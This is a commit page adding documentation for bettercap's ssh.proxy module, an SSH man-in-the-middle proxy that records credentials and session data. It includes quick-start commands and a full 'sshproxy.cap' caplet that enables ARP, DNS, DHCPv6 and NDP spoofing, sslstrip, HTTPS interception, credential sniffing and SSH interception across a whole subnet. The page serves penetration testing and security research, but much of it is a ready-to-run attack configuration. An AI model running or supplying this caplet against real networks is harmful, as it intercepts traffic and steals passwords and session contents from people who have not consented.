Skip to content

Commit a99f7f3

Browse files
Copilotevilsocket
andauthored
docs: add ssh.proxy module page with full sshproxy.cap caplet (#75)
Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com> Co-authored-by: evilsocket <86922+evilsocket@users.noreply.github.com>
1 parent bbb9612 commit a99f7f3

1 file changed

Lines changed: 236 additions & 0 deletions

File tree

Lines changed: 236 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,236 @@
1+
---
2+
title: ssh.proxy
3+
description: A SSH MITM proxy that intercepts SSH connections, logs authentication credentials and all plaintext session traffic, and forwards transparently to the real destination.
4+
---
5+
6+
A **SSH man-in-the-middle proxy** that transparently intercepts SSH connections.
7+
It presents its own host key to the client, captures plaintext credentials (password and public-key authentication attempts), logs all session data (commands, output), and forwards traffic to the real SSH destination.
8+
9+
When used with a [spoofer](/modules/ethernet/spoofers/introduction/), all SSH traffic on the target port is redirected to this proxy automatically.
10+
On Linux the original destination is resolved via `SO_ORIGINAL_DST`; on macOS via the `pf` state table.
11+
12+
## Commands
13+
14+
### `ssh.proxy on`
15+
16+
Start the SSH MITM proxy.
17+
18+
### `ssh.proxy off`
19+
20+
Stop the SSH MITM proxy.
21+
22+
## Parameters
23+
24+
| Parameter | Default | Description |
25+
| ------------------- | --------------------- | ----------------------------------------------------------------------------------------------------------------------------------------- |
26+
| `ssh.address` | | Remote address to forward SSH connections to. Leave empty to auto-detect the original destination from the NAT table (Linux via `SO_ORIGINAL_DST`, macOS via `pf` state table). |
27+
| `ssh.port` | `22` | Remote SSH port to intercept. |
28+
| `ssh.proxy.address` | `<interface address>` | Address to bind the SSH proxy to. |
29+
| `ssh.proxy.port` | `2222` | Port to bind the SSH proxy to. |
30+
| `ssh.proxy.hostkey` | | Path to a PEM-encoded private key used as the proxy host key. If empty, an ephemeral ECDSA P-256 key is generated automatically. |
31+
| `ssh.proxy.script` | | Path of a SSH proxy JS script. |
32+
33+
## Scripting
34+
35+
The `ssh.proxy` module can be scripted using JavaScript files that may declare the following functions:
36+
37+
```js
38+
// called when the script is loaded
39+
function onLoad() {
40+
// ...
41+
}
42+
43+
// called when data is available on an SSH channel
44+
// sessionID: string like "1.2.3.4:12345->5.6.7.8:22[session]"
45+
// direction: "client->server" or "server->client"
46+
// data: ByteArray
47+
// return: modified ByteArray, or null/undefined to keep original
48+
function onSSHData(sessionID, direction, data) {
49+
log(sessionID + " " + direction + ": " + data.length + " bytes")
50+
// optionally modify and return the data buffer
51+
return data
52+
}
53+
```
54+
55+
## Builtin Functions
56+
57+
The JS interpreter is [limited to ES5](https://github.com/robertkrimen/otto?tab=readme-ov-file#caveat-emptor) (no for/of, typed arrays, classes... )
58+
59+
Scripts can use the following builtin functions.
60+
61+
| Function | Description |
62+
| ------------------------------------------- | ----------------------------------------------------------------------------- |
63+
| `readDir("/path/")` | Return the contents of a directory as a string array. |
64+
| `readFile("/path/to/file")` | Return the contents of a file as a string. |
65+
| `writeFile("/path/to/file", "hello world")` | Write the string `hello world` to a file, returns `null` or an error message. |
66+
| `log_debug("message")` | Log a message in the interactive session (its level will be `DEBUG`). |
67+
| `log_info("message")` | Log a message in the interactive session (its level will be `INFO`). |
68+
| `log_warn("message")` | Log a message in the interactive session (its level will be `WARNING`). |
69+
| `log_error("message")` | Log a message in the interactive session (its level will be `ERROR`). |
70+
| `log_fatal("message")` | Log a message in the interactive session (its level will be `FATAL`). |
71+
| `log("message")` | Shortcut for `log_info("message")`. |
72+
| `btoa("message")` | Encode a message to base64. |
73+
| `atob("bWVzc2FnZQ==")` | Decode a message from base64. |
74+
| `env("iface.ipv4")` | Read a variable. |
75+
| `env("foo", "bar")` | Set a variable. |
76+
| `run("command")` | Execute a shell command and return the output as a string. |
77+
| `fileExists("/path/to/file")` | Return `true` if the file exists, otherwise `false`. |
78+
| `loadJSON("/path/to/file.json")` | Load and parse a JSON file, returns a JS object. |
79+
| `saveJSON("/path/to/file.json", object)` | Serialize and save a JS object as JSON to the specified file. |
80+
| `saveToFile("/path.txt", "data")` | Save raw string data to a file. |
81+
| `onEvent("event.tag", callback)` | Register a JS callback for the given session event tag. |
82+
| `removeEventListener("event.tag")` | Remove a previously registered event listener for the given tag. |
83+
| `addSessionEvent("tag", data)` | Trigger a session event from within the script with a custom tag and payload. |
84+
85+
## Examples
86+
87+
### Quick start — intercept all SSH traffic on the LAN
88+
89+
Enable full-duplex ARP spoofing and start the proxy. The original destination is resolved automatically per connection (Linux via `SO_ORIGINAL_DST`, macOS via `pf` state table):
90+
91+
```bash
92+
set arp.spoof.fullduplex true
93+
94+
set ssh.port 22
95+
set ssh.proxy.port 2222
96+
97+
ssh.proxy on
98+
arp.spoof on
99+
```
100+
101+
### Quick start — intercept SSH to a single host
102+
103+
```bash
104+
set ssh.address 192.168.1.10
105+
set ssh.port 22
106+
set ssh.proxy.port 2222
107+
108+
ssh.proxy on
109+
arp.spoof on
110+
```
111+
112+
### Full MITM caplet (`sshproxy.cap`)
113+
114+
The `sshproxy.cap` caplet shipped with bettercap activates every available spoofer and proxy together for comprehensive network interception on both IPv4 and IPv6 with SSH MITM.
115+
116+
**Usage:**
117+
118+
```bash
119+
sudo bettercap -caplet sshproxy.cap
120+
# override the target subnet:
121+
sudo bettercap -caplet sshproxy.cap -eval "set arp.spoof.targets 192.168.1.0/24"
122+
```
123+
124+
> **Note:** Run as root. On Linux all features work. On macOS `packet.proxy` is unavailable and NDP/DHCPv6 have limited support.
125+
126+
```bash
127+
# sshproxy.cap — Comprehensive MITM caplet
128+
#
129+
# Activates every available spoofer and proxy to perform
130+
# full network interception on both IPv4 and IPv6 with SSH MITM.
131+
132+
# ===========================================================
133+
# 1. NETWORK DISCOVERY
134+
# net.recon reads the ARP cache; net.probe actively sends
135+
# UDP probes (NBNS, mDNS, UPnP, WSD) to find every host.
136+
# ===========================================================
137+
set net.probe.nbns true
138+
set net.probe.mdns true
139+
set net.probe.upnp true
140+
set net.probe.wsd true
141+
set net.probe.throttle 10
142+
143+
net.recon on
144+
net.probe on
145+
146+
# ===========================================================
147+
# 2. CREDENTIAL SNIFFER
148+
# Passive sniffing for cleartext credentials (HTTP, FTP,
149+
# NTLM, Kerberos, etc.) flowing through us.
150+
# ===========================================================
151+
set net.sniff.verbose false
152+
set net.sniff.local false
153+
net.sniff on
154+
155+
# ===========================================================
156+
# 3. ARP SPOOFING (IPv4)
157+
# Full-duplex: poison both victim AND gateway ARP caches.
158+
# Targets the entire subnet by default; override with:
159+
# set arp.spoof.targets 192.168.1.50,192.168.1.51
160+
# ===========================================================
161+
set arp.spoof.fullduplex true
162+
set arp.spoof.internal true
163+
164+
# ===========================================================
165+
# 4. DNS SPOOFING
166+
# Respond to DNS queries with our address. By default
167+
# answers all queries (dns.spoof.all true). Set specific
168+
# domains with dns.spoof.domains if you want targeted use.
169+
# ===========================================================
170+
set dns.spoof.all true
171+
set dns.spoof.ttl 1024
172+
173+
# ===========================================================
174+
# 5. DHCPv6 SPOOFING (IPv6)
175+
# Reply to DHCPv6 solicitations to inject ourselves as
176+
# the DNS server for IPv6 clients (mitm6-style attack).
177+
# ===========================================================
178+
set dhcp6.spoof.domains microsoft.com, google.com, facebook.com, apple.com, twitter.com, github.com
179+
180+
# ===========================================================
181+
# 6. NDP SPOOFING (IPv6)
182+
# Send spoofed Neighbor Advertisements and Router
183+
# Advertisements on IPv6 networks. Set ndp.spoof.targets
184+
# for specific victims, or leave empty for RA-only attack.
185+
# ===========================================================
186+
set ndp.spoof.prefix d00d::
187+
set ndp.spoof.prefix.length 64
188+
set ndp.spoof.router_lifetime 10
189+
190+
# ===========================================================
191+
# 7. HTTP PROXY with SSL STRIP
192+
# Intercept HTTP traffic and attempt to downgrade HTTPS
193+
# links to HTTP (sslstrip). JS injection is available via
194+
# http.proxy.injectjs if needed.
195+
# ===========================================================
196+
set http.proxy.sslstrip true
197+
198+
# ===========================================================
199+
# 8. HTTPS PROXY
200+
# Intercept HTTPS traffic with on-the-fly certificate
201+
# generation. Victims will see certificate warnings unless
202+
# you install the CA cert on their machines.
203+
# ===========================================================
204+
set https.proxy.sslstrip true
205+
206+
# ===========================================================
207+
# 9. SSH MITM PROXY
208+
# Intercept all SSH (port 22) traffic. The proxy presents
209+
# its own host key, captures plaintext credentials, and
210+
# logs all session data (commands, output) to stdout.
211+
# On Linux the original destination is auto-detected via
212+
# SO_ORIGINAL_DST; on macOS via pf state table lookup.
213+
# ===========================================================
214+
# ssh.address is left empty — auto-detect destination per connection
215+
set ssh.port 22
216+
set ssh.proxy.port 2222
217+
218+
# ===========================================================
219+
# 10. ACTIVATE EVERYTHING
220+
# Order matters: start proxies first so the firewall
221+
# redirections are in place before spoofers push traffic
222+
# through us.
223+
# ===========================================================
224+
http.proxy on
225+
https.proxy on
226+
ssh.proxy on
227+
228+
arp.spoof on
229+
dns.spoof on
230+
dhcp6.spoof on
231+
ndp.spoof on
232+
233+
# The event stream is auto-started and will print all
234+
# captured credentials, SSH session logs, and module events
235+
# to stdout in real-time.
236+
```

0 commit comments

Comments
 (0)